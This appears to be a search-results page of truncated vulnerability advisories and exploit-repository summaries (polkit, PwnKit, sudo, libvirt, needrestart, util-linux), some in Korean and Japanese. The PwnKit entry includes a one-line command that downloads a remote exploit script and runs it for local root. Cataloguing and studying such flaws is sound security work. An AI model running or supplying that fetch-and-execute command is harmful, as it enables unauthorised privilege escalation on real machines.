209679 matches found
CVE-2026-91098
A flaw was found in HP Linux Imaging and Printing HPLIP software. Multiple vulnerabilities exist that could allow a remote attacker to achieve remote code execution, escalate privileges, cause a denial of service, disclose information, or modify files without authorization under certain condition...
CVE-2021-3560_Polkit
CVE-2021-3560 Polkit 로컬 권한 상승 root@kitploit: .--. .-" "-. .--. / .. / .-. .-. / .. \ | | '| / Y \ |' | | | \ \ \ 0 | 0 / / / | \ '- ,.-" "-./, -' / '-' / ^ ^ \ '-' .--'| . ./ |'--. / \ \ / / \ / '. '---' .' \ / '---' \ / \ Linux 시스템의 PolicyKitPolkit에 영향을 미치는 CVE-2021-3560 취약점에 대한 자동화된 익스플로잇입니다...
CVE-2026-91097
A flaw was found in HPLIP HP Linux Imaging and Printing software. Multiple vulnerabilities exist that could allow a remote attacker to execute arbitrary code, escalate privileges, cause a denial of service, disclose sensitive information, or modify files without authorization. These issues arise...
[SECURITY] [DLA 4781-1] firefox-esr security update
------------------------------------------------------------------------- Debian LTS Advisory DLA-4781-1 [email protected] https://www.debian.org/lts/security/ Emilio Pozuelo Monfort September 17, 2026 https://wiki.debian.org/LTS -...
PwnKit
PwnKit CVE-2021-4034 - Pkexec ローカル権限昇格用の自己完結型エクスプロイト 使用方法 Ubuntu、Debian、Fedora、CentOS ベースの脆弱な Linux ディストリビューションでは、そのまま動作するはずです。 root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" 手動実行 root@kitploit: curl -fsSL...
CVE-2023-22809
CVE-2023-22809 Youtube PoC: https://m.youtube.com/watch?v=b0UV7WgtKyI 이 저장소는 CVE-2023-22809를 익스플로잇하기 위한 익스플로잇을 포함합니다. 익스플로잇은 sudo 사용자가 sudo -l 하에서 sudoedit를 실행할 수 있도록 허용하는 데 의존합니다. 자세한 내용은 OpenWall 메일링 리스트에서 확인하세요. 소개 이 작업은 그룹 프로젝트의 일부로 수행되었습니다. 팀 iSIS 제작...
CVE-2021-3156-Baron-Samedit
CVE-2021-3156 - "Baron Samedit" 실습 및 익스플로잇 이 저장소는 CVE-2021-3156 을 이해하고 익스플로잇하기 위한 자체 포함된 교육 환경을 제공합니다. 이 취약점은 sudo의 힙 기반 버퍼 오버플로로, 취약한 시스템sudo 버전 1.9.5p2 이전에서 권한이 없는 사용자가 루트 권한을 얻을 수 있게 합니다. 이 자료는 권한이 부여된 보안 교육 및 연구 목적으로만 사용됩니다. 귀하가 소유하지 않은 시스템에 대한 무단/비윤리적 사용은 불법입니다. 저장소 내용 Dockerfile - 취약한 sudo...
CVE-2025-63945-Tencent-iOA-EoP
CVE-2025-63945 Tencent iOA EoP Version : before 210.9.28693.62001 요약: 저는 Tencent PC Manager에서 C:\Windows\Temp 아래의 파일과 디렉터리가 안전하지 않게 처리되는 취약점을 발견했습니다. 공격자는 심볼릭 링크 공격을 이용하여 SYSTEM 권한을 가진 프로세스가 임의의 파일을 삭제하도록 유도하여 로컬 권한 상승을 일으킬 수 있습니다. 구체적으로, "ioa" 구성 요소를 사용할 때 LegacyKBioawin.exe라는 프로세스가 주기적으로 실행됩니다...
CVE-2026-3888
CVE-2026-3888 - snap-confine + systemd-tmpfiles ローカル権限昇格 免責事項: このリポジトリは教育目的のみ を意図しています。すべての内容は、Qualys が 2026 年 3 月 17 日に公開した元のセキュリティアドバイザリに基づいています。この脆弱性は修正済みです。システムを常に最新の状態に保ってください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対して、この資料を使用しないでください。 概要 CVE-2026-3888 は、Ubuntu Desktop = 24.04...
CVE-2026-53613-poc
CVE-2026-53613 PoC mount8 における TOCTOU 脆弱性。ローカルでの権限昇格により root を取得できます。 影響を受けるバージョン util-linux 2.41.0 から 2.41.4 util-linux 2.42.0 から 2.42.1 エクスプロイト ファイル| 手法| ターゲット ---|---|--- exploitshell.sh| SSH 鍵の抽出| /root exploitdirectshell.sh| 直接シェル| /bin クイックスタート root@kitploit: 方法 1: SSH 鍵を抽出して root として SSH 接...
CVE-2026-44940
The rancher-extension-stackstate extension in SUSE Observability exposes service tokens in plain configuration or insecure locations rather than managing them securely. An attacker with minimal access could obtain the token to gain unauthorized access or escalate privileges within the observabili...
Important: Red Hat Security Advisory: virt:rhel security update
An update for the virt:rhel module is now available for Red Hat Enterprise Linux 8.8 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity...
libvirt: swtpm privilege escalation via symlink following
A flaw was found in libvirt. A local attacker, specifically a process running as the confined swtpm user, could exploit a symlink-following vulnerability in the virFileChownFiles function. By planting a symbolic link within the swtpm state directory, the attacker could trick the root-level libvir...
libvirt: Integer overflow in NodeGetFreePages RPC handler leading to heap buffer overflow
A flaw was found in libvirt. An unprivileged local user could exploit an integer overflow vulnerability in the NodeGetFreePages RPC handler. This flaw allows crafted values to bypass a size check, leading to an undersized memory buffer. Subsequently, real NUMA node data can overwrite this buffer...
libvirt: Integer overflow in NodeGetFreePages RPC handler leading to heap buffer overflow
A flaw was found in libvirt. An unprivileged local user could exploit an integer overflow vulnerability in the NodeGetFreePages RPC handler. This flaw allows crafted values to bypass a size check, leading to an undersized memory buffer. Subsequently, real NUMA node data can overwrite this buffer...
libvirt: Integer overflow in NodeGetFreePages RPC handler leading to heap buffer overflow
A flaw was found in libvirt. An unprivileged local user could exploit an integer overflow vulnerability in the NodeGetFreePages RPC handler. This flaw allows crafted values to bypass a size check, leading to an undersized memory buffer. Subsequently, real NUMA node data can overwrite this buffer...
kernel: ppp: require CAP_NET_ADMIN in target netns for unattached ioctls
A flaw was found in the Linux kernel's Point-to-Point Protocol PPP subsystem. A local unprivileged user can exploit this vulnerability by creating a new user namespace and bypassing authorization checks for unattached administrative input/output controls ioctls. This allows the user to perform...
libvirt: Integer overflow in NodeGetFreePages RPC handler leading to heap buffer overflow
A flaw was found in libvirt. An unprivileged local user could exploit an integer overflow vulnerability in the NodeGetFreePages RPC handler. This flaw allows crafted values to bypass a size check, leading to an undersized memory buffer. Subsequently, real NUMA node data can overwrite this buffer...
CVE-2026-44940
CVE-2026-44940 affects the rancher-extension-stackstate extension in SUSE Observability . The root cause is the exposure of service tokens in plain configuration or insecure locations , rather than storing them in a secure secret management mechanism. An attacker with minimal access (low privileg...
CVE-2024-48990
CVE-2024-48990 !WARNING 이 파일과 정보는 교육 목적으로만 제공됩니다. 저자는 어떠한 악의적인 행위에 대해서도 책임을 지지 않습니다. 제공되는 모든 정보는 어떠한 종류의 범죄나 악용을 선동하기 위한 것이 아닙니다. 설명 Qualys는 needrestart 3.8 이전 버전에서 로컬 공격자가 공격자가 제어하는 PYTHONPATH 환경 변수로 Python 인터프리터를 실행하도록 needrestart를 속여 루트 권한으로 임의 코드를 실행할 수 있음을 발견했습니다. 공식 세부 정보는 NIST에서 확인하세요. PoC...